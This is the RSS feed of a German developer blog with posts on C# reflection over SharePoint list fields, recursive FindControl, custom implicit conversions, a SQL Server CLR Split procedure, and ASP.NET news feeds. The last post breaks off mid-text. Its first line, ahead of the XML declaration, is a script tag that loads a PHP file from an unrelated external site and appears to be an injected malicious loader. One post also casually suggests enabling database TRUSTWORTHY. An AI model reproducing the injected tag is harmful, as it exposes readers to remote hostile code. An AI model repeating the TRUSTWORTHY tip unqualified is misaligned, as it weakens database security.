<script src=http://onortao.com.br/FCKeditor/ver_evento.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Xylon's Blog &#187; ASP.Net 2</title>
	<atom:link href="http://www.xentrope.de/category/visual-studio/aspnet-2/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.xentrope.de</link>
	<description>I don't work here</description>
	<lastBuildDate>Fri, 30 Oct 2009 19:07:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>System.Reflection.Konfusion</title>
		<link>http://www.xentrope.de/visual-studio/system_reflection_konfusion/</link>
		<comments>http://www.xentrope.de/visual-studio/system_reflection_konfusion/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 19:06:06 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[SharePoint 2007]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[GetProperty]]></category>
		<category><![CDATA[Reflection]]></category>
		<category><![CDATA[SetProperty]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=212</guid>
		<description><![CDATA[Entwickler sind faul &#8211; ich zumindest. Ich will möglichst wenig Code schreiben, aber strukturiert. Nun ergab es sich, das man einen Datentyp mit circa 80 eigenen Properties &#8211; welche ebenfalls wieder eigene Klassen sind &#8211; erstellen sollte. Dieser Job ist ja nun leicht erledigt. Man hacke fix ein Consolenprogramm welches aus einer XMl-Datei (in der [...]]]></description>
			<content:encoded><![CDATA[<p>Entwickler sind faul &#8211; ich zumindest. Ich will möglichst wenig Code schreiben, aber strukturiert. Nun ergab es sich, das man einen Datentyp mit circa 80 eigenen Properties &#8211; welche ebenfalls wieder eigene Klassen sind &#8211; erstellen sollte. Dieser Job ist ja nun leicht erledigt. Man hacke fix ein Consolenprogramm welches aus einer XMl-Datei (in der die Klassen und Datentypen enthalten sind) einen Datentyp bastelt.<br />
Das sieht dann letztendlich so aus (exemplarisch mal eine Klasse und der Datentyp): </p>
<pre name="code" class="csharp">
public class ProductReference
{
        public string StaticName { get { return "ProductReference"; } }
        public string DisplayName { get { return Resources.Displayname_ProductReference; } }
        public Guid ID { get { return new Guid("{6ebe0f28-af6a-40f7-9ad8-d9ff37d2b045}"); } }
        public string TypeName { get { return "String"; } }
        public Type Type { get { return typeof(String); } }
        public String Value { get; set; }
	public bool ErrorsDetected { get; set; }
}
public class Item
{
	public ProductReference ProductReference { get; set; }
}
</pre>
<p>Jetzt soll dieser Datentyp natürlich auch irgendwo gespeichert werden. In meinem Fall ist es einfach eine SharePoint Liste bei der jedes Feld einer Klasseneigenschaft entspricht. (Das Speichern reicht natürlich nicht, es muss ja auch irgendwann wieder geladen werden etc.). Das Problem ist jetzt, das keiner Ernsthaft ~80 Properties einzeln in das ListItem der SharePoint Liste zu schreiben&#8230; geht natürlich auch.<br />
Viel schöner ist aber, wenn wir einfach alle Properties der Klasse durchlaufen könnten und den Wert des entsprechenden Feldes zu setzen:</p>
<pre name="code" class="csharp">
foreach (PropertyInfo mainprop in this.GetType().GetProperties())
{
	object fieldvalue = mainprop.GetValue(this, null).GetType().InvokeMember(
        	"Value", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);
        string fieldname = (string)mainprop.GetValue(this, null).GetType().InvokeMember(
                    "DisplayName", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);
        Guid fieldid = (Guid)mainprop.GetValue(this, null).GetType().InvokeMember(
                    "ID", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);

        if (item.Fields.GetField(fieldname).Type == SPFieldType.DateTime)
                    fieldvalue = SPUtility.CreateISO8601DateTimeFromSystemDateTime((DateTime)fieldvalue);

        item[fieldid] = fieldvalue;

        try
        {
		item.SystemUpdate();
	}
	catch (Exception ex)
        {
		LogMsg(ex.ToString());
                ErrorsOccured = true;
                mainprop.GetValue(this, null).GetType().InvokeMember("ErrorsDetected", BindingFlags.SetProperty, null,
                mainprop.GetValue(this, null),
                new object[] { true });
        }
}
</pre>
<p>Dank Reflection können wir mittels this.GetType().GetProperties() über alle Properties der aktuellen Klasse iterieren. Jetzt wollen wir aber nicht den Wert der Property haben, sondern den Wert der Value Eigenschaft der Property. Klar? Schön. :)<br />
Da man eine Site Columns im SharePoint am sichersten über seine Guid ansprechen kann, wird die Guid sowie der aktuelle Wert der Value Eigenschaft ausgelesen und in das SPListItem geschrieben. Kling konfus, ist es auch. ;) Mittels InvokeMember und der Option BindingFlags.GetProperty kann man grob gesagt den Wert auslesen. Analog kann man mittems BindingFlags.SetProperty den Setter des Members aufrufen.<br />
Klingt alles irgendwie merkwürdig, und wir lesen ja meistens lieber Code &#8211; daher hier einfach mal das was dabei rausgekommen ist:</p>
<pre name="code" class="csharp">
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.SharePoint;
using System.Collections;
using System.Reflection;
using Microsoft.SharePoint.Utilities;

namespace DataTypeTest
{
    #region class implementations
	// hier stehen alle Klassendefinitionen
	public class ProductReference
	{
	        public string StaticName { get { return "ProductReference"; } }
	        public string DisplayName { get { return Resources.Displayname_ProductReference; } }
	        public Guid ID { get { return new Guid("{6ebe0f28-af6a-40f7-9ad8-d9ff37d2b045}"); } }
	        public string TypeName { get { return "String"; } }
	        public Type Type { get { return typeof(String); } }
	        public String Value { get; set; }
		public bool ErrorsDetected { get; set; }
	}
	// etc.pp.
    #endregion

    public class NPPItem
    {
        #region properties
		// hier stehen die Properties
		public ProductReference ProductReference { get; set; }
		// etc. pp.
        #endregion

        public Action&lt;string&gt; Log;

        /// &lt;summary&gt;
        /// Initializes a new instance of the &lt;see cref="Item"/&gt; class.
        /// &lt;/summary&gt;
        public Item(Action&lt;string&gt; LogFunction)
        {
            Log = LogFunction;
            InitFields();
        }

        /// &lt;summary&gt;
        /// Initializes a new instance of the &lt;see cref="Item"/&gt; class.
        /// &lt;/summary&gt;
        /// &lt;param name="ListItemID"&gt;The list item ID.&lt;/param&gt;
        /// &lt;param name="WebUrl"&gt;The web URL.&lt;/param&gt;
        /// &lt;param name="ListId"&gt;The list id.&lt;/param&gt;
        public Item(string ListItemID, string WebUrl, string ListId, Action&lt;string&gt; LogFunction, out bool ErrorsDetected)
        {
            if (string.IsNullOrEmpty(ListItemID) |
                string.IsNullOrEmpty(WebUrl) |
                string.IsNullOrEmpty(ListId))
                throw new ArgumentException("Empty params for Item(string ListItemID, string WebUrl, string ListId)!");
            Log = LogFunction;
            bool ErrorsOccured = false;
            int iItemId;
            if (!Int32.TryParse(ListItemID, out iItemId)) throw new ArgumentException("ListItemID is not a valid int!");

            InitFields();
            SPList liste = GetList(ListId, WebUrl);
            SPListItem litem = liste.GetItemById(iItemId);
            if (litem == null) { ErrorsDetected = true; return; }

            foreach (PropertyInfo mainprop in this.GetType().GetProperties())
            {
                Guid fieldid = (Guid)mainprop.GetValue(this, null).GetType().InvokeMember(
                    "ID", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);

                SPField spfield = litem.Fields[fieldid];
                object[] param = new object[1];
                try
                {
                    param[0] = Convert.ChangeType(spfield.GetFieldValueAsText(litem[fieldid]),
                        mainprop.GetValue(this, null).GetType().GetProperty("Value").PropertyType);
                    mainprop.GetValue(this, null).GetType().InvokeMember("Value", BindingFlags.SetProperty, null,
                    mainprop.GetValue(this, null),
                    param);
                }
                catch (Exception ex)
                {
                    LogMsg(ex.ToString());
                    ErrorsOccured = true;
                    mainprop.GetValue(this, null).GetType().InvokeMember("ErrorsDetected", BindingFlags.SetProperty, null,
                    mainprop.GetValue(this, null),
                    new object[] { true });
                }

            }
            ErrorsDetected = ErrorsOccured;
        }

        private void InitFields()
        {
            // instanzen erstellen... sicher ist sicher :)
            this.ProductReference = new ProductReference();
	    // etc.pp.
        }

        /// &lt;summary&gt;
        /// Saves the item.
        /// &lt;/summary&gt;
        /// &lt;param name="ListItemID"&gt;The list item ID. Submit -1 to create a new item&lt;/param&gt;
        /// &lt;param name="Data"&gt;The data.&lt;/param&gt;
	/// &lt;returns&gt;ID of the new list item&lt;/returns&gt;
        public bool SaveItem(int ListItemID, string WebUrl, string ListId, out int newListItemID)
        {
            bool ErrorsOccured = false;
            SPList liste = GetList(ListId, WebUrl);
            if (liste == null)
                throw new ArgumentException(string.Format("List {0} in site {1} does not exist or you have insufficient permissions",
                    ListId, WebUrl));

            SPListItem item = null;
            if (ListItemID == -1) item = liste.Items.Add();
            else item = liste.Items[ListItemID];
            if (item == null) throw new ArgumentException(string.Format("ListItem with ID '{0}' does not exist in list '{1}' at site '{2}' !",
                ListItemID, ListId, WebUrl));

            foreach (PropertyInfo mainprop in this.GetType().GetProperties())
            {
                object fieldvalue = mainprop.GetValue(this, null).GetType().InvokeMember(
                    "Value", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);
                string fieldname = (string)mainprop.GetValue(this, null).GetType().InvokeMember(
                    "DisplayName", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);
                Guid fieldid = (Guid)mainprop.GetValue(this, null).GetType().InvokeMember(
                    "ID", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);

                if (item.Fields.GetField(fieldname).Type == SPFieldType.DateTime)
                    fieldvalue = SPUtility.CreateISO8601DateTimeFromSystemDateTime((DateTime)fieldvalue);

                item[fieldid] = fieldvalue;

                try
                {
                    item.SystemUpdate();
                }
                catch (Exception ex)
                {
                    LogMsg(ex.ToString());
                    ErrorsOccured = true;
                    mainprop.GetValue(this, null).GetType().InvokeMember("ErrorsDetected", BindingFlags.SetProperty, null,
                    mainprop.GetValue(this, null),
                    new object[] { true });
                }
            }
            newListItemID = item.ID;
            return ErrorsOccured;
        }

        public List&lt;string&gt; GetPropertiesWithErrors()
        {
            List&lt;string&gt; result = new List&lt;string&gt;();
            foreach (PropertyInfo mainprop in this.GetType().GetProperties())
            {
                if (Convert.ToBoolean(mainprop.GetValue(this, null).GetType().InvokeMember(
                    "ErrorsDetected", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null)))
                    result.Add(mainprop.Name);
            }
            return result;
        }

        /// &lt;summary&gt;
        /// Gets a SPList.
        /// &lt;/summary&gt;
        /// &lt;param name="ListId"&gt;The list id.&lt;/param&gt;
        /// &lt;param name="SiteUrl"&gt;The site URL.&lt;/param&gt;
        /// &lt;returns&gt;SPList if found, otherwise null&lt;/returns&gt;
        private SPList GetList(string ListId, string SiteUrl)
        {
            if (ToGuid(ListId) == null) return null;
            SPList retval = null;
            using (SPSite site = new SPSite(SiteUrl))
            {
                using (SPWeb web = site.OpenWeb())
                {
                    retval = web.Lists[ToGuid(ListId)];
                }
            }
            return retval;
        }

        /// &lt;summary&gt;
        /// Get a Guid object from a valid guid string
        /// &lt;/summary&gt;
        /// &lt;param name="input"&gt;The input.&lt;/param&gt;
        /// &lt;returns&gt;valid GUID or null&lt;/returns&gt;
        private Guid ToGuid(string input)
        {
            if (string.IsNullOrEmpty(input)) throw new ArgumentException("input is null");
            Guid retval = new Guid();
            try
            {
                retval = new Guid(input);
            }
            catch (Exception) { }
            return retval;
        }

        private void LogMsg(string Message)
        {
            if (this.Log != null)
                Log(Message);
        }

    }
}
</pre>
<p>Nice to have wäre natürlich noch, die ganze Show mit Interfaces zu versehen, so dass man nicht mehr hardcoded auf die Subpropertynamen losgehen muss, wie ich es bisher gemacht habe:</p>
<pre name="code" class="csharp">
mainprop.GetValue(this, null).GetType().InvokeMember("Value", BindingFlags.GetProperty, null, mainprop.GetValue(this, null), null);
</pre>
<p>Ich brauch jetzt erstmal ein wenig Frischluft. :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/visual-studio/system_reflection_konfusion/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Standard Pitfall mit Page.FindControl [Update]</title>
		<link>http://www.xentrope.de/visual-studio/aspnet-2/standard-pitfall-mit-page-findcontrol/</link>
		<comments>http://www.xentrope.de/visual-studio/aspnet-2/standard-pitfall-mit-page-findcontrol/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 13:43:55 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[ASP.Net]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[FindControl]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=200</guid>
		<description><![CDATA[Reminder an micht selbst: Page.FindControl arbeitet nicht rekursiv. :&#62; Alternativfunktionen für rekursives Suchen und Holen von Controls: private T GetControl(string id, ControlCollection ctls, bool ThrowExceptions) where T : Control { Control ctl = FindControl(id, ctls); if (ThrowExceptions &#38;&#38; ctl == null) throw new Exception(string.Format("Cannot find control with id '{0}' !\n", id)); if (ThrowExceptions &#38;&#38; ctl.GetType() != [...]]]></description>
			<content:encoded><![CDATA[<p>Reminder an micht selbst:<br />
Page.FindControl arbeitet nicht rekursiv. :&gt;<br />
Alternativfunktionen für rekursives Suchen und Holen von Controls:</p>
<pre name="code" class="csharp">        private T GetControl(string id, ControlCollection ctls, bool ThrowExceptions) where T : Control
        {
            Control ctl = FindControl(id, ctls);
            if (ThrowExceptions &amp;&amp; ctl == null)
                throw new Exception(string.Format("Cannot find control with id '{0}' !\n", id));
            if (ThrowExceptions &amp;&amp; ctl.GetType() != typeof(T))
                throw new Exception(string.Format("Control with id '{0}' found , but it's type is not {1}!\n", id, typeof(T)));
            if (ctl == null) return null;
            T castedCtl = (T)ctl;
            return castedCtl;
        }

        private bool ControlExists(string id, ControlCollection ctls)
        {
            return (GetControl(id, ctls, false)) != null;
        }

        private Control FindControl(string id, ControlCollection ctls)
        {
            Control ctlsearched = null;
            foreach (Control ctl in ctls)
            {
                if (!string.IsNullOrEmpty(ctl.ID) &amp;&amp; ctl.ID.Equals(id, StringComparison.InvariantCultureIgnoreCase))
                    ctlsearched = ctl;
                if (ctlsearched == null &amp;&amp; ctl.HasControls())
                    ctlsearched = FindControl(id, ctl.Controls);

                if (ctlsearched != null) break;
            }
            return ctlsearched;
        }</pre>
<p><b>Update</b><br />
Manchmal sollte man doch mal Google oder ein paar der Blogs aus seinem RSSReader bemühen&#8230; dann wäre man auch auf <a href="http://www.aspnetzone.de/blogs/peterbucher/archive/2009/01/20/findcontrol-mal-anders-iterativ-rekursiv-generisch-mit-bedingungen.aspx">den Post von Peter Bucher</a> gestossen der das ganze Thema etwas ausführlicher schon im Januar behandelte. :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/visual-studio/aspnet-2/standard-pitfall-mit-page-findcontrol/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Nachtrag: TypeConversions reloaded</title>
		<link>http://www.xentrope.de/allgemein/nachtrag-typeconversions-reloaded/</link>
		<comments>http://www.xentrope.de/allgemein/nachtrag-typeconversions-reloaded/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 11:58:11 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[explicit]]></category>
		<category><![CDATA[implicit]]></category>
		<category><![CDATA[type conversion]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=172</guid>
		<description><![CDATA[Ich hatte ja hier schon etwas zu eigenen impliziten und expliziten Konvertierungen geschrieben. Dazu noch ein Nachtrag zur Konvertierungen zwischen zwei eigenen Datentypen. Wir haben wieder unseren Datentypen MyDataType: class MyDataType { public string Wert { get; set; } public static implicit operator string(MyDataType toConvert) { return toConvert.Wert; } public static implicit operator MyOtherDataType(MyDataType toConvert) [...]]]></description>
			<content:encoded><![CDATA[<p>Ich hatte ja <a href="http://www.xentrope.de/allgemein/typeconversions-oder-wer-bist-du-denn/">hier</a> schon etwas zu eigenen impliziten und expliziten Konvertierungen geschrieben. Dazu noch ein Nachtrag zur Konvertierungen zwischen zwei eigenen Datentypen. Wir haben wieder unseren Datentypen MyDataType:</p>
<pre name="code" class="csharp">
class MyDataType
{
	public string Wert { get; set; }
	public static implicit operator string(MyDataType toConvert)
	{ return toConvert.Wert; }

	public static implicit operator MyOtherDataType(MyDataType toConvert)
	{
		int Converted;
		if (Int32.TryParse(toConvert.Wert, out Converted))
			return new MyOtherDataType() { Wert = Converted };
		else
			return null;
	}
}
</pre>
<p>Dazu definieren wir uns einen eigenen zweiten Datentypen:</p>
<pre name="code" class="csharp">
class MyOtherDataType
{
	public int Wert { get; set; }
	public static implicit operator MyDataType(MyOtherDataType toConvert)
	{ return new MyDataType() { Wert = Convert.ToString(toConvert.Wert) }; }

	public static implicit operator string(MyOtherDataType toConvert)
	{
		if (toConvert != null)
			return Convert.ToString(toConvert.Wert);
		else
			return "toConvert is null";
	}
}
</pre>
<p>Ich habe jetzt allerdings die Konvertierungen zu SecureString rausgenommen, und implizite Konvertierungen zwischen diesen beiden Datentypen hinzugefügt. Prinzipiell muss nach dem Keyword &#8220;operator&#8221; lediglich der Zieldatentyp angegebene werden, und als Methodenparameter der Quelldatentyp. Das kann man so vereinfachen:</p>
<pre name="code" class="csharp">
public static implicit/explicit operator Zieldatentyp (Quelldatentyp pInstance) { Konvertierungsimplementation }
</pre>
<p>Die Main Methode unserer Konsolenanwendung sieht demnach dann so aus:</p>
<pre name="code" class="csharp">
static void Main(string[] args)
{
	MyDataType myTypeInstance = new MyDataType() { Wert = "hallo" };
	Log("myTypeInstance: " + myTypeInstance);

	//ist null, da "hallo" kein gültiger int ist
	MyOtherDataType myOtherTypeInstance = myTypeInstance;
	Log("myOtherTypeInstance nach ungültigem int in myTypeInstance: " + myOtherTypeInstance);

	myTypeInstance.Wert = "10";
	myOtherTypeInstance = myTypeInstance;
	Log("myOtherTypeInstance nach gültigem int in myTypeInstance: " + myOtherTypeInstance);
	Console.Read();
}
</pre>
<p>&#8220;Warum verwendet der jetzt nicht &#8220;string.Format&#8221; zum Logging?!&#8221; werden sich wohl einige Fragen. Die Antwort ist einfach: string.Format(&#8220;Text&#8221;, parameter) erwartet als parameter &#8220;objects&#8221;. Würden wir nun unsere Instanz &#8220;myOtherTypeInstance&#8221; übergeben, würde unsere Typumwandlung nach string nicht ausgeführt werden&#8230; :)<br />
Damit sollte es jetzt eigentlich klar sein wie die eigene Konvertierungen direkt innerhalb eines Datentyps implementiert werden können.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/nachtrag-typeconversions-reloaded/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Split Funktion mittels CLR</title>
		<link>http://www.xentrope.de/allgemein/split-funktion-mittels-clr/</link>
		<comments>http://www.xentrope.de/allgemein/split-funktion-mittels-clr/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 09:00:21 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[ASP.Net 3 / ASP.Net 3.5]]></category>
		<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[CLR]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[Split]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2005]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[VB.Net]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=95</guid>
		<description><![CDATA[Eine beliebte Stringfunktion fehler leider nach wie vor im SLQ Server: Split. Das hat sich auch mit dem neuen SQL Server 2008 immer noch nicht geändert. Ich hatte ja schon mal eine Splitfunktion gepostet, möchte dies aber jetzt als CLR Funktion implementieren. Lange Reder kurzer Sinn: Man erstellt im Visual Studio ein neues Datenbankprojekt. In [...]]]></description>
			<content:encoded><![CDATA[<p>Eine beliebte Stringfunktion fehler leider nach wie vor im SLQ Server: Split. Das hat sich auch mit dem neuen SQL Server 2008 immer noch nicht geändert. Ich hatte ja schon mal eine <a href="http://www.xentrope.de/2008/04/split-funktion-fur-mssql-2000/">Splitfunktion gepostet</a>, möchte dies aber jetzt als CLR Funktion implementieren. Lange Reder kurzer Sinn:  </p>
<ul>
<li>Man erstellt im Visual Studio ein neues Datenbankprojekt.</li>
<li>In den Projekteinstellungen sollte die Assembly signiert werden (Einstellungen &#8211; Signing &#8211; Sign the assembly)</li>
<li>Unter dem Karteireiter &#8220;Database&#8221; kann vorerst das Permissionlevel auf Safe bleiben, da wir ja keine externen Resources ansprechen wollen.<br />
Safe = Zugriff auf Daten des eigenen SQL Servers über den In-process Managed Provider<br />
External = Zugriff auf externe Resourcen ist erlaubt<br />
Unsafe = Es kann unmanaged Code ausgeführt werden<br />
Erhält man eine Fehlermeldung beim Bereitstellen der Assembly, kann es daran liegen das der Datenbank nicht vertraut wird. Dann sollte man die Trustworthy Eigenschaft setzen:</p>
<pre name="code" class="html:nocontrols:SQL">
Alter Database [DB] Set Trustworthy on
</pre>
</li>
<li>Man fügt dem Projekt eine neue Klasse hinzu, ich habe sie einfach &#8220;Stringfunctions&#8221; genannt.</li>
<li>Dieser Klasse fügen wir eine Prozedur hinzu:
<pre name="code" class="html:nocontrols:VB.Net">
    &lt;SqlProcedure()&gt; _
    Public Shared Sub Split(ByVal Input As SqlString, ByVal Delimiter As SqlString)
        Dim pipe As SqlPipe = SqlContext.Pipe
        Dim splittet() As String = Input.Value.Split(Delimiter.Value.ToCharArray)
        Dim reslist As New List(Of SqlMetaData)
        For i As Integer = 0 To splittet.Length - 1
            reslist.Add(New SqlMetaData("Col" + i.ToString(), SqlDbType.NVarChar, 4000))
        Next
        Dim result As New SqlDataRecord(reslist.ToArray())
        For i As Integer = 0 To splittet.Length - 1
            result.SetString(i, splittet(i))
        Next
        pipe.Send(result)
    End Sub
</pre>
<p>Das Attribut SqlProcedure() sorgt dafür, das beim Bereitstellen automatisch eine neue Stored Procedure angelegt wird. Als Parameter der Prozedur übergeben wir zwei SQLStrings: Input und Delimiter. Wofür diese stehen sagen die Namen ja schon&#8230; ;) Um die Anzahl der notwendigen Spalten in unserer Ergnistabelle zu ermitteln legen wir uns ersteinmal eine neue Liste mit Spaltendefinitionen an. Danach wird unsere Ergebnistabelle erstellt: </p>
<pre name="code" class="html:nocontrols:VB.Net">
Dim result As New SqlDataRecord(reslist.ToArray())
</pre>
<p>Jetzt können wir endlich alle Elemente aus dem Array in die Ergebnistabelle schreiben und zurückgeben:</p>
<pre name="code" class="html:nocontrols:SQL">
For i As Integer = 0 To splittet.Length - 1
	result.SetString(i, splittet(i))
Next
pipe.Send(result)
</pre>
<p>Die Verwendung der Funktion ist denkbar einfach:  </p>
<pre name="code" class="html:nocontrols:SQL">
exec Split 'feld1;feld2;feld3;feld4;feld5;feld6;feld7',';'
</pre>
<p>Und liefert uns eine Tabelle zurück:</p>
<pre name="code" class="html:nocontrols:Text">
 Col0	Col1	Col2	Col3	Col4	Col5	Col6
 feld1	feld2	feld3	feld4	feld5	feld6	feld7
 </pre>
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/split-funktion-mittels-clr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Abgeschnittene Strings</title>
		<link>http://www.xentrope.de/allgemein/abgeschnittene-strings/</link>
		<comments>http://www.xentrope.de/allgemein/abgeschnittene-strings/#comments</comments>
		<pubDate>Mon, 25 Aug 2008 11:26:38 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SQL Server]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL 2000]]></category>
		<category><![CDATA[SQL 2005]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[VB.Net]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://www.xentrope.de/?p=78</guid>
		<description><![CDATA[Ein anderes interessantes Phänomen lief mir gerade über den Weg: Liest man aus einem SQL Server eine richtig lange Zeichenkette (z.B. mehr als 2000 Zeichen, z.B. mit einer &#8216;FOR XML &#8230;&#8217; Transformation im Select) wird einem das Ergebnis willkürlich bei um die 1000 Zeichen abgeschitten. Eine generelle Workaroundfunktion ist schnell gebastelt: Private Shared Function GetLongStringData(ByVal [...]]]></description>
			<content:encoded><![CDATA[<p>Ein anderes interessantes Phänomen lief mir gerade über den Weg: Liest man aus einem SQL Server eine richtig lange Zeichenkette (z.B. mehr als 2000 Zeichen, z.B. mit einer &#8216;FOR XML &#8230;&#8217; Transformation im Select) wird einem das Ergebnis willkürlich bei um die 1000 Zeichen abgeschitten.<br />
Eine generelle Workaroundfunktion ist schnell gebastelt:</p>
<pre name="code" class="vb.net">
Private Shared Function GetLongStringData(ByVal statement As String) As String
	Dim sql As New System.Data.SqlClient.SqlCommand()
	Dim con As New System.Data.SqlClient.SqlConnection()
	con.ConnectionString = "connectionstring"
	sql.CommandText = statement
	sql.Connection = con
	con.Open()
	Dim r As System.Data.SqlClient.SqlDataReader = sql.ExecuteReader()
	Dim strbuilder As New StringBuilder()
	While r.Read()
		strbuilder.Append(r(0))
	End While
	con.Close()
	Return strbuilder.ToString()
End Function
</pre>
<p>Stellt sich allerdings nach wie vor die Frage warum die Daten abgeschnitten werden. Im SQL Server Management Studio wird alles korrekt angezeigt. Ich vermute das Problem liegt irgendwo bei der Übergabe vom SQL Server in den .Net String. Wenn jemand eine Idee hat, möge er sich bei mir melden. :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/allgemein/abgeschnittene-strings/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASP.NET 2 in 30 minutes: Feeds made simple</title>
		<link>http://www.xentrope.de/visual-studio/aspnet-2-in-30-minutes-feeds-made-simple/</link>
		<comments>http://www.xentrope.de/visual-studio/aspnet-2-in-30-minutes-feeds-made-simple/#comments</comments>
		<pubDate>Sun, 06 Apr 2008 19:14:41 +0000</pubDate>
		<dc:creator>Rene Muster</dc:creator>
				<category><![CDATA[ASP.Net 2]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://underworld.selfip.net/?p=10</guid>
		<description><![CDATA[Newsfeeds können sehr praktisch sein. Schon mal an eine Interaktion von Feed &#60;-&#62; System Management Server oder Feed &#60;-&#62; Domain gedacht? Ein praktisches Beispiel: In einem Unternehmen werden regelmäßig Systemhotfixe, Systemupdates, Application Updates etc. verteilt. Dabei sollen die User aber vorher informiert werden damit sie wissen, das ein Update zur Installation ansteht oder das die [...]]]></description>
			<content:encoded><![CDATA[<p>Newsfeeds können sehr praktisch sein. Schon mal an eine Interaktion von Feed &lt;-&gt; System Management Server oder Feed &lt;-&gt; Domain gedacht?<br />
Ein praktisches Beispiel:<br />
In einem Unternehmen werden regelmäßig Systemhotfixe, Systemupdates, Application Updates etc. verteilt. Dabei sollen die User aber vorher informiert werden damit sie wissen, das ein Update zur Installation ansteht oder das die Performance kurzfristig beeinträchtigt werden kann.<br />
In der Regel gehen dann ellenlange Mails mit (für den User) unverständlichen Informationen durch das Unternehmen.<br />
Man könnte aber auch einen (oder mehrere) zentrale(n) Newsfeed(s) anbieten. Einen für Hotfixe, noch einen für Office-Patches oder auch einen für Updates einer spezifischen Software (Visual Studio meinetwegen).<br />
Großes Gerede, aber was brauchen wir?<br />
Wie benötigen ein wenig ASP.Net 2 Webspace. Wenn vorhanden noch eine SQL-Datenbank, es reicht aber auch wenn man eine Access-Datenbank nutzt.<br />
Dort legt man 2 Tabellen an:</p>
<pre name="code" class="html:nocontrols:SQL">CREATE TABLE Channels (
[id] [int] IDENTITY(1,1) NOT NULL,
[title] [nvarchar](255) NULL,
[description] [ntext] NULL,
[managingeditor] [nvarchar](50) NULL,
[webmaster] [nvarchar](50) NULL);

CREATE TABLE Items(
[id] [int] IDENTITY(1,1) NOT NULL,
[title] [nvarchar](255) NULL,
[description] [ntext] NULL,
[pubdate] [datetime] NULL,
[author] [nvarchar](50) NULL,
[channel] [int] NULL,
[published] [bit] NULL DEFAULT ((0)),
[targetou] [ntext] NULL,
[smscollection] [nvarchar](50) NULL,
[clientlist] [ntext] NULL);</pre>
<p>Die Tabellennamen sind selbsterklärend: Channels für die verfügbaren Feeds und Items für alle Nachrichten. Bei der Tabelle Items habe ich 3 Spalten um die Nachrichten genauer zu Verteilen:<br />
